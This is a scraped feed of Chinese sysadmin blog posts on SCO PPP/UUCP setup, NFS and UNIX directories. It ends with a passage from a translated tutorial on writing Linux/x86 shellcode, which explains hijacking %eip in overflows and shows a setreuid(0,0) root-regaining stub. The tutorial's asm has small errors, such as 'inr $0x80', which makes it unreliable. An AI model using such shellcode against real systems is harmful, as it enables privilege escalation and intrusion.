mkdev modem 设置 Devices文件<BR><BR># scoadmin -- networks -- ppp 设置Systems 文件<BR><BR>2． 可用vi命令对文件进行编辑<BR><BR>3． 可用/etc/uuinstall工具来配置或修改文件。<BR><BR>1． Devices文件<BR><BR>UUCP软件在文件/usr/lib/uucp/Devices中列出了可用于与远端系统建立连接的所有设备。该文件为文本文件，包括以下两类项：<BR><BR>l 连接到机器上的modem列表<BR><BR>l 与其它机器直连的串行线<BR><BR>为设置动态PPP连接，通常使用modem，如不考虑项的类别，文件中的每一项都包含以下五个域：<BR><BR>type 为通过modem建立PPP，该域必须为"ACU"，即<BR><BR>automatic call unit。<BR><BR>Ttylin 指定modem所连的串口名字。例如，如果modem<BR><BR>在第二个标准的PC串口上，则该域为/dev/tty2A。<BR><BR>Dialerline 如果modem不能自己拨号，可在此域指定电话拨<BR><BR>号器所在串口的名字，现代modem都能拨号，故<BR><BR>该域为"-"，表示无另外的拨号器。<BR><BR>speed 在该域填写modem和串口共同支持的最高速率，并不一定等于modem<BR><BR>远端系统相连接的速率。<BR><BR>dialer-token 为通过modem建立PPP，该域必须为拨号器程序的绝对路径名，拨号器<BR><BR>序知道如何发送相应的代码到modem以进行拨号并解释结果。SCO在<BR><BR>/usr/lib/uucp目录中提供了许多常用的modem的拨号器程序，这些程序以<BR><BR>dial或atdial开头。<BR><BR>#mkdev modem<BR><BR>2． Systems文件<BR><BR>UUCP系统使用文件/usr/lib/uucp/Systems列出与本地主机通过直连线或modem相连的远端系统的名字。每一项包括：<BR><BR>l 所建立连接的类型(modem或直连线）<BR><BR>l 连接的速率<BR><BR>l 如为modem连接，所拨的电话号码<BR><BR>对于动态拨入(dynamic incoming) PPP连接，不需在该文件中建立对应项，而对于动态拨出(dynamic outgoing) PPP连接，则需建立。各项的格式为：<BR><BR>sitename 被呼叫的机器名字，即在远端主机上使于带-n标志的uname命<BR><BR>时所报告的文字。<BR><BR>schedule 对于拨出(outgoing) PPP连接，将该域设为"Any"。<BR><BR>device 对于动态PPP拨出，该域为"ACU"，表示为modem，如果通过<BR><BR>直连串行线实现动态PPP连接，该域为串口设备的名字。<BR><BR>speed 与远端系统相连所使用的速率，该速率值应与预先建立的Devices<BR><BR>文件中相应项的速率兼容。<BR><BR>phone 所连机器的电话号码。<BR><BR>login-script 该域用于与远端系统协商登录。它包括你希望远端系统发给你的<BR><BR>一系列提示符，如login:，和你希望作为对这些提示符的响应，发<BR><BR>给远端系统的信息，如nppp。<BR><BR>#scoadmin --- networks --- ppp<BR><BR>3． 使用uuinstall (ADM)和对UUCP设置进行测试<BR><BR>正如前面所提到的，你可以使用菜单驱动的uuinstall命令来建立Devices文件和Systems文件。uuinstall命令：<BR><BR>l 允许你选择所修改的文件<BR><BR>l 提示你每个域的值<BR><BR>l 检查无效的项，并对你提出警告<BR><BR>l 一旦Devices和Systems中的项被建立，允许通过菜单选择Test connection with remote site来测试连接。<BR><BR>　　如果呼叫失败，指出并修改问题所在，然后再次测试。也可通过以下命令行来进行测试：<BR><BR>/usr/lib/uucp/uutry -r system<BR><BR>system为你所测试的连接的远端系统名。<BR><BR>4 建立PPP接口<BR><BR>一旦UUCP文件已被建立以支持PPP，你可以运行scoadmin命令并执行以下步骤来配置实际的PPP接口：<BR><BR>步骤 Networks -- Network Configuration Manager --<BR><BR>Add new WAN connection -SCO TCP/IP PPP driver -- 从PPP <BR><BR>connection Type中选择PPP连接类型，并单击OK按钮。<BR><BR>Dynamic outgoing 动态拨出 <BR><BR>Dynamic incoming 动态拨入<BR><BR>Dedicated 直连<BR><BR>Manual outgoing 手工拨出<BR><BR>对于单一的系统，每种类型可以有多个接口，每个接口在/etc/ppphosts文件中都会有对应的一项。<BR><BR>Local host name 到Destination IP address 各域<BR><BR>"Local host name", "Host IP address", "Destination name"和"Destination IP address"这四个域是互相联系的，并根据是否对链路的一端或两端使用动态IP地址而有所不同。<BR><BR>如果你希望链路的一端或两端使用动态IP地址，那么：<BR><BR>步骤1 将相应的"name"域留空。<BR><BR>步骤2 将相应的"IP address"域填为0.0.0.0。<BR><BR>如果你希望固定链路的一端或两端的IP地址，那么：<BR><BR>l 在PPP链路对应端的"name"域和"IP address"域中填入所期望的名字和IP地址。每个网络接口都应有唯一的名字和IP地址。<BR><BR>Network Configuration Manager将建议名字格式为ppp_machine, "machine"为主机名，另一种更常用的命名规则为将"_ppp#"添加到主机名后，这里#为PPP接口的序号。并不一定非要在"name"域填写，但最好填写。<BR><BR>l "name"域的值将成为该接口的名字，如使用DNS或NIS将需要在与接口相应的文件中手工创建数据项。<BR><BR>ppphosts文件包含系统中每个PPP链路相对应的项，每项的第一个域称为"link name"域，当按OK按钮以创建接口时，该域的内容被填入。<BR><BR>l "linkname"域的格式为:dest_name: local_name<BR><BR>l dest_name和local_name分别包含"Destination name"和"Local host name"域的值。<BR><BR>l 如果两个"name"域中有空，相应的IP地址将会代替name。<BR><BR>Netmask域<BR><BR>"Netmask"域设置该接口的网络掩码，如该域被设置，则/etc/ppphosts文件中将用"mask=网络掩码"的格式来记录，这里网络掩码以4个"点分十进制"字段来表示，即如用ifconfig命令时所看到的。如该域未设置，则缺省值255.255.255.0将被使用。<BR><BR>UUCP destination name域<BR><BR>"UUCP destination name"域指明/usr/lib/uucp/Systems文件中的哪一项被用来拨号并登录到远端系统。如该域被设置，则/etc/ppphosts文件中将以"uucp=系统名"的格式来记录，这里系统名与Systems文件中的一项相匹配。如该域未设置，则上述的"Destination IP Address"域的值将作为其缺省值来使用。<BR><BR>Number of UUCP retries域<BR><BR>"Number of UUCP retries"域指定UUCP系统在放弃连接尝试之前，应该被呼叫多少次以建立dynamic outgoing link。如该域被设置，则/etc/ppphosts文件使用"retry=次数"格式来记录，这里次数即为希望UUCP试图建立连接的次数。如该域未设置，则使用缺省值2。<BR><BR>Gateway 域<BR><BR>"Gateway"域允许你指明主机是否作为网关来工作。只有当你已经配置了另一个网络接口时，该域才会出现，将其设为Yes(缺省值）将会以inconfig命令来打开ipforwarding和ipsendredirects这两个核心参数。<BR><BR>下面是拨出的配置：<BR><BR>Attach name: ispname<BR><BR>Local hostname: scosysv<BR><BR>Host IP address: 192.168.88.102 <BR><BR>Destination Name: ppp_server<BR><BR>Destination IP address: 192.168.88.200<BR><BR>Netmask : 255.255.255.0<BR><BR>UUCP Destination name :scolo<BR><BR>Numbers of UUCP retries: 5<BR><BR>Gateway: &lt;&gt; Yes &lt;*&gt; No<BR><BR>在 Advanced Options 中可选择 Debug level 为2 ，Line flow Control<BR><BR>为 rtscts , 即硬件流控。<BR><BR>5． 动态拨出链路(Dynamic outgoing links)<BR><BR>Dynamic outgoing links用于当你需要在数据包要求被发送到PPP链路的远端时，该链路能自动建立和挂断。Dynamic outgoing links可用于以下几种情况：<BR><BR>l 主机需要初始化一个以上的连接时<BR><BR>l 链路两边的IP地址都是固定的<BR><BR>其设置与Manual outgoing links的配置相似，但有以下几点不同：<BR><BR>l "Attach name"域不存在，这是因为当一个IP数据包要通过该链路发送时，由pppd守护进程来建立该链路。<BR><BR>l 如以前所讨论的，Dynamic outgoing links不支持动态IP地址，因此，表格中的所有"name"和"address"域必须填写。<BR><BR>6． 动态拨入链路(Dynamic incoming links)<BR><BR>当一个或更多的主机通过modem以PPP拨入你的主机时，需在你的主机上配置Dynamic incoming links。<BR><BR>其设置与Dedicated link相似，只是没有"TTY line for PPP"和"Baud rate"域，而多了"PPP login name"域。<BR><BR>"PPP login name"域的内容在/etc/ppphosts文件中作为"Link name"域（该项的起始域）来记录，格式为*login，这里login为该域所键入的文本。<BR><BR>当远端主机通过PPP登录进你的主机时，发生以下情况：<BR><BR>步骤1 远端主机给出帐户名，该帐户已在你的主机上创建，其shell为/usr/lib/ppp/ppp。<BR><BR>步骤2 远端主机给出相应的口令字。<BR><BR>步骤3 shell　/usr/lib/ppp/ppp 被启动，以对所用的登录名称确认。<BR><BR>步骤4 当在/etc/ppphosts文件中找到该登录名时，以该文件中所列出的相应链路参数来建立链路。<BR><BR>在设置过程中，如果键入"PPP login name"域内的名称并不存在，则Network Configuration Manager将问你是否要建立该帐户，如果创建该帐户，将赋予正确的shell。<BR><BR>如果希望对应于不同的链路，使用不同的"非协商高级参数集"，则需要为每个链路指定一个不同的登录名。同时远端主机需要使用不同的登录名来获取相应的参数。<BR><BR>配置Dynamic incoming link与配置其它类型的PPP最大的区别在于"name"域被如何记录。由于该类型包含登录名的配置，所以"name"域的值在/etc/ppphosts文件中以下列格式来记录：<BR><BR>local=lip_addr remote=rip_addr<BR><BR>这里lip_addr和rip_addr为"Local host name"和"Destination name"域的值，如果"name"域为空，则相应的"address"域的值将被使用。<BR><BR>注意：SCO OpenServer Release 5的PPP不能通过使用前面所讨论过的将IP地址设为全0的方法来实现Dynamic incoming link上的动态IP地址协商，而是通过使用2.6节的"ppppool文件"来实现。<BR><BR>ppppool文件<BR><BR>对于dynamic incoming连接，可以根据/etc/ppppool文件中列出的IP地址来设置连接两端的IP地址。为使一个PPP接口实现动态IP地址协商，/etc/ppphosts文件中相应的dynamic incoming项应该增加两个域：<BR><BR>noipaddr remote=+ "标识符"<BR><BR>该标识符指明/etc/ppppool文件中的一项，/etc/ppppool包含一组项，每一逻辑行为一项，每项的格式为：<BR><BR>tagname local: remote [local: remote...]<BR><BR>这里：tagname唯一地标识一个地址表<BR><BR>local和remote为IP地址对，两者以":"隔开。<BR><BR>逻辑行长度可以超越一个物理行，通过在物理行的结尾加入一个"\"来进行扩展。<BR><BR>当建立PPP连接时，pppd搜索/etc/ppppool文件中相应逻辑行的IP地址对，一旦找到一个未被使用的IP地址对，那么就把它们分配给链路的两端。<BR><BR>如果没有找到有效的IP地址，则PPP连接失败。<BR><BR>在我们的例子中，bardados可以在它的/etc/ppphosts文件中增加一项：<BR><BR>noipaddr remote=+inbound<BR><BR>并且它的/etc/ppppool文件中包含如下项：<BR><BR>inbound 200.100.50.100: 200.100.50.101 200.100.50.100:200.100.50.102\<BR><BR>200.100.50.100:200.100.50.103 200:100:50:100: 200.100.50.104<BR><BR>该项指定本地IP地址总为200.100.50.100，但远端地址可在200.100.50.101至200.100.50.104之间变化。<BR><BR>pppfilter文件<BR><BR>当两个LAN通过接口互连，并且其中一个LAN不是很安全时，好在两个LAN之间建立防火墙，在与ISP相连的情况下，尤其如此。<BR><BR>"包过滤"可以看作建立防火墙的一块砖，它使pppd守护进程能够选择哪些数据包可能通过PPP接口进行传输和接收：<BR><BR>l 导致一个PPP接口被建立<BR><BR>l 导致一个timeout计时器被启动以保持一个PPP连接<BR><BR>l "包过滤"基于：<BR><BR>² 传输协议<BR><BR>² 源或目标IP地址<BR><BR>² 源或目标端口号<BR><BR>² 数据包的长度或类型<BR><BR>"包过滤"可以针对每个PPP接口，配置为不同的情况。<BR><BR>在我们的例子中，barbados与Internet的PPP接口可以使用"包过滤"，而其它普通的PPP接口的"包过滤"配置可以不同，甚至普通PPP接口可以不设置"包过滤"，关于"包过滤"的其它讨论不在本课程范围之内。<BR><BR>3. 核心参数<BR><BR>当SCO主机上使用高速串行通信时（例如PPP运行于串行线路）有两个核心参数需要调整：<BR><BR>TTHOG 决定串行设备驱动器的raw输入队列的大小，它限制了在不丢失字符的情况下，输入队列中数据量的最大值。缺省为256，显然对于PPP是不够的，至少应为2048，可能需要4096或更高。<BR><BR>NCLIST 串行设备驱动器可用的64byte cblock的数量。并不是所有的串行接口卡驱动器都使用该参数，NCLIST的值可用下列公式计算：<BR><BR>NCLIST= old_NCLIST+<BR><BR>(TTHOG*number_of_fast_serial_ports/64)<BR><BR>以-y和-a参数来执行sar命令可以确定这两个参数是否过低。使用configure命令可以改变核心参数的有效值，之后必须重新链接核心并重新启动以使改变生效。 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2078.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:58 <a href="http://www.cnitblog.com/cyberfan/articles/2078.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>第19章 网络文件NFS</title><link>http://www.cnitblog.com/cyberfan/articles/2079.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:58:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2079.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2079.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2079.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2079.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2079.html</trackback:ping><description><![CDATA[19.1 NFS概念<BR>NFS(Networking File System)是由SUN公司发展，并於1984年推出。NFS是一个RPC service ，它使我们能够达到文件的共享，它的设计是为了在不同的系统间使用，所以它的通讯协定设计与主机及操作系统无关。当使用者想用远程文件时只要用"mount"就可把remote文件系统挂接在自己的文件系统之下，使得远程的文件使用上和local机器的文件没两样。<BR><BR>假如我们在机器A上，要把机器B上的目录/usr/man挂接到机器A的/usr/man只要用下面的命令：<BR><BR>#mount machine_name：/usr/man /usr/home<BR><BR>就可mount过来。而我们不只是可以mount目录，就是一个文件也是可以的。在挂接之後我们只能对文件做reading (or writing) 的动作，而不能在remote machie上把此文件或目录move，delete掉，但须注意的是如我们使用- mount /usr後，不能再mount /usr底下的目录，否则会发生错误。<BR><BR>NFS就是促使Servers上的文件能被其他的机器mount，而达到资源共享，享用这些文件的机器就可称为Client，一个client可以从server上mount一个文件或是一个层次的目录(file hierarchies)。然而事实上任何一台机器都可以做NFS server or NFS client ，甚至同时为NFS server and NFS client也可以。<BR><BR>19.2 配置网络文件NFS<BR>server端的配置<BR><BR>Scoadmin -&gt; Filesystem -&gt; Filesystem Manager &gt; Export -&gt; NFS -&gt; Add Export Configuration或 手工编辑/etc/exports文件来进行一些特殊的设置 clients端的配置<BR><BR>Scoadmin -&gt; Filesystem -&gt; Filesystem Manager <BR><BR>&gt; Mount -&gt; Add Mount Configuration -&gt; Remote或 手工编辑/etc/default/filesys文件来进行设置<BR><BR>NFS是如何工作的？<BR><BR>当我们启动NFS file server时，系统会自动启动exportfs这一个应用程序，指定可以export的文件或目录，而我们所能mount的也只能是其所指定的目录。<BR><BR>NFS架设在XDR/RPC的协议之上。<BR><BR>XDR ： (eXternal Data Representation) 外部资料表示法<BR><BR>XDR(eXternal Data Representation) 提供一种方法把资料从一种格式转换成另一种标准资料格式表示法，确保在不同的电脑，操作系统及电脑语言中，所有资料代表的意义都是相同的<BR><BR>RPC ： (Remote Procedure Calls) 远程程序呼叫<BR><BR>RPC(Remote Procedure Calls) 远程程序呼叫， 请求远程电脑给予服务。 客户机(client)就会透过网络传送RPC到远程电脑，请求服务。<BR><BR>NFS daemons (守护应用程序) 的功用<BR><BR>mountd，nfsd，inetd , portmap ,pcnfsd ,biod，statd,lockd是这些守护程序。<BR><BR>详细见《网络管理教程P5-16 》 <BR><BR>mountd：mountd是一台RPC server ，启动rpc.mountd daemon後 它会读取/etc/xtab查看哪一台client正在mount哪一个file system，并回应client所要mount的路径<BR><BR>nfsd：依client对文件系统的需求情况启动" file system request daemon "以应付client的需求，而一般file system request daemon的数目是" 8 "，这也就是我们写" nfsd 8 &amp; "的原因了。<BR><BR>biod：此命令是在NFS client上用的， 用来启动" asynchronous block I/O daemon"用来建立buffer cache ，处理在client上的读写<BR><BR>inetd ： inetd (Internet services daemon) ， 当系统启动时rc。local会启动inetd读取inetd。conf这一个configuration-file ，读取网络上所有server's address ， 连结启动inetd。conf中所有的server ， 当client请求服务时， inetd就会为clinet启动相关的server daemon负责任务， 如user用telnet时 ， 则- inetd启动telnetd迎合user telnet的需求，其馀像ftp ，finger ， rlogin之类的应用应用程序 ， inetd也都会启动相对应的aemons， ftpd， fingerd， rloingd<BR><BR>portmap ： portmap是一台server ，主要功能 转换TCP/IP通讯协定的port number变成RPC program number ， 因为这样clinet才能做RPC calls<BR><BR>一般RPC server是被inetd所启动的， 所以portmap必须在inetd之前启动， 否则无法做RPC call<BR><BR>NFS引起的网络安全方面的问题有哪些？<BR><BR>NFS使server上的文件能被client所取用，乍看之下好像server上的文件任何人都可取用没什麽保护性，其实不是如此的。一开始server要exportfs之前在 /etc/exporrc中就已经设定了文件的使用权限，像/usr/src -access=engineering：accounting就是限定只有rcgineering和accounting这两台client才能mount /usr/src<BR><BR>/usr/src -access=oak，root=oak这是说只有oak这台cilent能mount这一个路径且只有oak client's superuser才能行使read &amp; write的权力<BR><BR>另外管理者为了维护exported和mounted的安全，一定要建立公共(public)和私人(secret)的key(password)， 然而这些安全性问题是要建立在NIS (network infomation system) 上的， 有一个/etc/publickey文件 ，里面记录了public and secret keys ， 而这些key是依照machine_name和user_name ，以16进位码表示出来的， 管理者可在有NIS的机器上用<BR><BR>newkey -u username给予user login权力<BR><BR>newkey -h hostname造出login此机器时所需的password<BR><BR>在NFS刚安装时user是 "nobody" 任何人都可以进入， 所以管理者一定要做修改，以保护资料的安全。<BR><BR>当使用者为nobody时publickey的内容<BR><BR>netname user's public key ： user's secret key<BR><BR>nobody 3d91f44568fbbefada5a7：7675cd9b8753b5db09dabf12<BR><BR>在管理者给予user权力之後， user就可使用chkey修改自己的secret key创造自己的帐号。<BR><BR>willow% chkey<BR><BR>Generating new key for username<BR><BR>password ： <BR><BR>Sending key change request to server 。。。<BR><BR>Done。<BR><BR>willow%<BR><BR>所设定的password是使用者位於NIS中的加密键， 当我们login时NIS就会将此密码解开，(因为publickey中是以16进位码记录) ， 存放到keyserv里加以保管， 再将加密键传给client ， 当client发出请求时 ，此键会附在每个NFS请求上一起送到NFS server上， 当加密键和server上所保存的keyserv核对无错後， 请求就会被接受<BR><BR>l When fail to mount server<BR><BR>1. 用rpcinfo -p server_name去查看此server是否存在<BR><BR>2. 用rpcinfo -u server_name mount查看mountd daemon是否有在server上执行<BR><BR>3. 假如server都没问题，检查server和client之间的Ethernet connetions<BR><BR>4. 在client上 用ps ax看portmap and several biod daemons running or not !<BR><BR>(rpcinfo ： 用来对RPC server做RPC呼叫，回传远程程序呼叫过程中的讯息)<BR><BR>遇到NFS方面的问题时，可用Networking Guide ,"Configuring the Networking File <BR><BR>System","Troubleshooting NFS" <img src ="http://www.cnitblog.com/cyberfan/aggbug/2079.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:58 <a href="http://www.cnitblog.com/cyberfan/articles/2079.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>附录B UNIX目录和特殊设备文件</title><link>http://www.cnitblog.com/cyberfan/articles/2077.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:57:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2077.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2077.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2077.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2077.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2077.html</trackback:ping><description><![CDATA[本附录列出了 UNIX系统中绝大多数最常用的文件和目录。这里面的许多文件和 <BR><BR>是系统正常运转所必须的，并且一定不能删除或修改。下面各节简单地叙述每一目录。<BR><BR>本附录也描述了与文件系统、终端和其他设备相关的设备节点。在手册页的 Hw<BR><BR>中可以找到这里提及的特殊文件的完整描述。<BR><BR>1．根目录<BR>根目录中包括以下系统目录：<BR><BR>／bin UNIX系统的基本命令目录<BR><BR>／dev 特殊设备文件目录<BR><BR>／etc 附加程序和数据文件目录<BR><BR>／lib C程序库目录<BR><BR>／mnt 安装目录——为可安装的文件系统保留<BR><BR>／opt 共享软件存储对象文件的地址<BR><BR>／shib 共享库<BR><BR>／stand 过包括核心和启动文件的文件系统<BR><BR>／tcb TCB(可信任计算基础)安全二进制和数据库文件<BR><BR>／tmp 临时目录(为程序产生的临时文件保留)<BR><BR>／usr 用户服务例程——可以包括用户的主目录<BR><BR>／var 非共享软件存储对象文件地址<BR><BR>／lost+found 文件系统中的一个根目录，用作fsck命令找到的损坏文件的集合点。<BR><BR>2.／dev目录<BR>/dev 目录包括包含控制访问外部设备的特殊设备文件。<BR><BR>在/dev 目录中有几个子目录。<BR><BR>/dev/dsk : 硬盘和软盘设备文件目录<BR><BR>/dev/rdsk: 硬盘和软盘的原始设备文件目录 <BR><BR>/dev/string 字符串设备文件目录<BR><BR>3.／etc/conf 系统配置主目录<BR>bin 与unix 核心有关的命令<BR><BR>init.d 系统串口状态描述文件 <BR><BR>node.d 设备节点描述文件<BR><BR>rc.d 空目录 <BR><BR>sdevice.d 设备的局部系统配置信息文件 <BR><BR>cf.d 包含了用于连接unix 核心所需要的配置文件和主要的系统配置命令<BR><BR>mfsys.d unix 系统上几个文件系统描述信息文件 <BR><BR>pack.d 核心的目标模块<BR><BR>sd.d 空目录 <BR><BR>sfsys.d 整个系统默认信息文件 <img src ="http://www.cnitblog.com/cyberfan/aggbug/2077.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/cyberfan/" target="_blank">cyberfan</a> 2005-08-15 14:57 <a href="http://www.cnitblog.com/cyberfan/articles/2077.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编写shellcodes 的方法</title><link>http://www.cnitblog.com/cyberfan/articles/2075.html</link><dc:creator>cyberfan</dc:creator><author>cyberfan</author><pubDate>Mon, 15 Aug 2005 06:56:00 GMT</pubDate><guid>http://www.cnitblog.com/cyberfan/articles/2075.html</guid><wfw:comment>http://www.cnitblog.com/cyberfan/comments/2075.html</wfw:comment><comments>http://www.cnitblog.com/cyberfan/articles/2075.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnitblog.com/cyberfan/comments/commentRss/2075.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/cyberfan/services/trackbacks/2075.html</trackback:ping><description><![CDATA[UNF &amp;&amp; pr1 present: Writing Linux/x86 shellcodes for dum dums. <BR>============================================= <BR>作者 : pr1 ( pr10n@u-n-f.com ) <BR>翻译 : ICBM@0x557.org <BR>非常感谢keji指出并改正了原文和翻译中出现的错误，THK u ！ <BR><A title=http://www.0x557.org href="http://www.0x557.org/" target=_blank>http://www.0x557.org</A><BR><A title=http://www.airarms.org href="http://www.airarms.org/" target=_blank>http://www.airarms.org</A> <BR>============================================= <BR><BR>----------------------------------------------------------------------------------------------- <BR>Copyright (c) February 2002, Sebastian Hegenbart (a.k.a pr1) and UNF (United Net Frontier) <BR>The following material is property of UNF &amp;&amp; pr1. <BR>Do not redistribute this article modified and give proper credit to UNF and pr1 if you <BR>redistribute it or if you write your own article based upon the following material. <BR>----------------------------------------------------------------------------------------------- <BR><BR>1.介绍 <BR><BR>在网上并没有几篇好文章介绍怎样编写shellcode，而且很不幸,阅读它们需要有很丰富的汇编知识，所以在这篇文章里我会给大家介绍 Linux/x86汇编知识，并且讲解怎么为Linux/x86书写shellcode。但是，这篇文章中对于ASM的介绍并不完整，我只是讲到一些在对 于编写shellcode方面很重要的部分。我会很好的解释文章里出现过的代码，但是任何东西都代替不了一本好的ASM书籍和一个反编译器。:) <BR><BR>1.2. shellcode是什么 <BR><BR>简单地说shellcode就是一组CPU指令。为什么叫做shellcode呢？是因为第一个shellcode只是简单的获得一个shell。 实际上这种功能已经非常原始了:)。因为已经有了远程的shellcode（有UDP也有TCP),破坏chroot的shellcode，给文件加一行 信息的shellcode，setreuid的shellcode等等...因为每个人都这样叫它shellcode所以我会在全文中使用 shellcode一词。 <BR><BR>1.3. 我们用shellcode来做什么？ <BR><BR>在我们接管了一个进程（希望是root运行的 suid|sgid|deamon)以后，我们通常会让它做一些有用的事情。这里有很多技术像return into libc,GOT overwrite addys,PLT infection,exploiting .dtors ... 如果你不能执行其它函数来完成你需要的任务(像重写函数指针, ...)你就可能需要使用到shellcode。或许只是简单的用某些缓冲地址来改写%eip，然后向后跳到一组NOPS指令中，你的CPU会从已经被改 写过的%eip中向前取址.当你已经编好了一个漏洞攻击程序,在你的输入缓冲区中填入shellcode当%eip指向到shellcode的开始处,它 就会被运行.这样你就赢了! <BR><BR>1.4 我要怎么写shellcode <BR><BR>好了，现在让我们进行这篇文章的主要部分.我现在假设你至少有一定的c语言知识. <BR><BR>=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-= <BR>2.汇编 <BR><BR>ASM是一种低级编程语言。它甚至可以设定你CPU中的晶体管状态.一个IA-32 CPU有很多寄存器,访问这些寄存器要比直接访问内存快得多。你可以通过给寄存器赋值来告诉你的程序要做什么。最重要的寄存器有:%eax,%ebx,% ecx,%edx,%esp,%esi,%eip,%edi。所有32位CPU的寄存器都是4字节长。你可能认为这些寄存器的名字取得没有一点创意,但你 错了: <BR><BR># %eax 是累加器。当有系统调用发生时内核会检查%eax中的值,这个值会被用作系统调用号(每个内核提供的系统调用都有它自己的系统调用号).你可以在/usr/include/asm/unistd.h中具体查找这些系统调用号。 <BR><BR># %ebx 是基址寄存器.我们传递给函数的第一个参数就被放在这个寄存器里面. <BR><BR># %ecx 第二个参数. <BR><BR># %edx 第三个参数. <BR><BR># %esp 是堆栈指针寄存器,它指向当前堆栈储存区域的顶部. <BR><BR># %ebp 是基址寄存器,它指向当前堆栈储存区域的底部. <BR><BR># %eip 是指令指针(在缓冲区溢出中对我们最有用的寄存器) <BR><BR># %esi and %edi是段寄存器(用它们可以在你的shellcode里存储用户数据）（译者：原文为%eip and %edi） <BR><BR>2.1 修改寄存器： <BR><BR>有很多命令可以用来修改寄存器.你可以通过给一条指令增加后缀来修改一个字节,一个字或者整个寄存器. <BR><BR>例如:movl,movb,movw (long,byte,word) <BR><BR># mov ...mov指令用来把某值传送到一个寄存器中(数字或者另一个寄存器的内容...).在AT&amp;T语法中(我会在整篇文章中使用这种语法)目标操作数在右边,原操作数在左边. <BR><BR># inc,dec ...增加或者减少寄存器的值. <BR><BR># xor ... 这是位运算操作(包括 not,or,and,xor和neg). <BR><BR>在处理shellcode时xor扮演了一个很特殊的角色. <BR>在这里解释一下xor的基本操作: <BR><BR>1异或0为:1,0和0为:0,1和1为:0,因此 xor 4,4是0(100 xor 100 ==000); <BR><BR>#leal ...(表示读取一个long型的有效地址)你可以使用这个指令把一段内存的地址读取到寄存器中. <BR><BR># int $0x80这是一个中断.简单地说是用来切换到内核模式然后让内核执行我们的函数. <BR><BR># push,pop ...在堆栈上读取存储数据. <BR><BR>注意:你可以访问一个寄存器低端字中的高字节或者低字节(%al,%ah),一个寄存器中的低端字或者整个(扩展)寄存器(%eax).但是没有方法访问一个寄存器的高端字. <BR>寄存器可以以字节方式(%al,%bh,...),字方式(%ax,%bx,...)和整个方式(%eax,%ebx,...)访问. <BR><BR>预备了这些知识后我可以写一些asm代码然后再写一些shellcode. <BR><BR>让我们用一个Hello, world开始:) (这是没有办法来代替的) <BR><BR>.data <BR>message: <BR>.string "Hello, world\n" <BR><BR>.globl main <BR>main: <BR><BR># write(int fd,char *message,ssize_t size); <BR><BR>movl $0x4,%eax # 把/usr/include/asm/unistd.h里定义的系统调用4放到%eax中 <BR>movl $0x1,%ebx # 标准输出文件描述符(stdout) <BR>movl $message,%ecx # 把message的地址放到%ecx中 <BR>movl $0xc,%edx # message的长度 <BR><BR>#exit(int returncode); <BR><BR>movl $0x1,%eax # 系统调用号1 <BR>xorl %ebx,%ebx # %ebx置零 <BR>inr $0x80 <BR><BR>注意:这一段代码应为两个原因不能作为shellcode: <BR>1. 不是绝对地址(因为定义了一个数据段) <BR>2. 因为字符串中包含零字符会中断对于字符串的一般操作. <BR><BR>别着急!现在我就会解释制作shellcode的整个过程 ;) <BR><BR>=-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-=-=-==-=-= <BR><BR>3. 书写shellcode <BR><BR>3.1 Setreuid shellcode: <BR><BR>我们先从setreuid(0,0)这个小而简单的shellcode开始. <BR>如果程序在有漏洞的函数执行前去掉了特权(通常使用一个seteuid(getuid()) ),我们就需要一个setreuid或者一个seteuid shellcode. <BR><BR>C代码看起来可能是这个样子： <BR><BR>#include &lt;stdio.h&gt; <BR><BR>main(void) { <BR><BR>setreuid(0,0); <BR>exit(0); <BR>} <BR><BR>080483b0 &lt;main&gt;: <BR>80483b0: b8 46 00 00 00 movl $0x46,%eax <BR>80483b5: bb 00 00 00 00 movl $0x0,%ebx <BR>80483ba: b9 00 00 00 00 movl $0x0,%ecx <BR>80483bf: cd 80 int $0x80 <BR>80483c1: 8d 76 00 lea 0x0(%esi),%esi <BR>80483c4: 90 nop <BR>80483c5: 90 nop <BR>80483c6: 90 nop <BR>80483c7: 90 nop <BR>80483c8: 90 nop <BR>80483c9: 90 nop <BR>80483ca: 90 nop <BR>80483cb: 90 nop <BR>80483cc: 90 nop <BR>80483cd: 90 nop <BR>80483ce: 90 nop <BR>80483cf: 90 nop <BR><BR>这就是由我们的编译器生成的整个主函数.但是我们只需要setreuid段: <BR><BR>80483b0: b8 46 00 00 00 movl $0x46,%eax <BR>80483b5: bb 00 00 00 00 movl $0x0,%ebx <BR>80483ba: b9 00 00 00 00 movl $0x0,%ecx <BR>80483bf: cd 80 int $0x80 <BR><BR>因此setreuid shellcode就是这样: 